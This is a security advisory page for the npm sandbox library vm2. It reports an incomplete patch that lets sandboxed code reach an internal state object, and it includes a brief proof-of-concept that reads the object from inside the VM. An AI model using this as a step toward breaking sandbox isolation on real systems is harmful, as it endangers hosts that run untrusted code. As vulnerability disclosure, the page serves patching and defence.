Launch Week Day 1: Announcing Security Design Review
MEDIUM 5.3 npm

vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`

GHSA-2cm2-m3w5-gp2f

Published ยท Modified

Description

Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

Details

It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));

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